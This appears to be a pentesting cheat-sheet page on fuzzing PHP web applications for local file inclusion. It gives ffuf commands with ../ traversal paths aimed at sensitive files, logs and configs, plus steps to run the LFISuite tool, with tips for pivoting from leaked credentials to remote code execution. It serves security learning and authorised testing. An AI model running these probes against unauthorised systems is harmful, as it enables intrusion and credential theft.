Skip to content
HackIndex logo

HackIndex

HTTP File Inclusion Fuzzing

2 min read Apr 24, 2026

Scan GET parameters for injection points that accept file paths or URLs.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u "http://$TARGET_IP:$PORT/index.php?FUZZ=value" -fs 2287

If parameter hits, expect larger response sizes or error leaks indicating path traversal. Chain to fuzz common LFI paths next.

Fuzz Common LFI Paths

Target known sensitive files on Linux/Windows.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u "http://$TARGET_IP:$PORT/index.php?language=FUZZ" -fs 2287

Valid hits show file contents in response; filter false positives by baseline size. Use output to confirm OS type from file paths.

Fuzz PHP File Names

Hunt for injectable PHP endpoints.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u "http://$TARGET_IP:$PORT/FUZZ.php"

Hits return 200 OK with PHP-processed content. Prioritize for parameter injection testing.

Fuzz Webroot Paths

Probe for base directory to chain with relative paths.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u "http://$TARGET_IP:$PORT/index.php?language=../../../../FUZZ/index.php" -fs 2287

Successful paths expose root configs; use to build absolute paths for deeper LFI.

Fuzz Log and Config Files

Target app-specific logs/configs.

┌──(kali㉿kali)-[~]
└─$ ffuf -w ./LFI-WordList-Linux:FUZZ -u "http://$TARGET_IP:$PORT/index.php?language=../../../../FUZZ" -fs 2287

Hits leak logs with user agents or errors; parse for creds or env vars to pivot to auth bypass or RCE.

Automated LFI Scanning

Clone and run LFISuite for auto-fuzzing paths, wrappers, and bypasses.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/D35m0nd142/LFISuite
┌──(kali㉿kali)-[~]
└─$ cd LFISuite
┌──(kali㉿kali)-[~]
└─$ python2 lfisuite.py

Feed it the vulnerable URL and param. Output lists readable files; ignore if no traversal. Use results to select exploitation targets.

References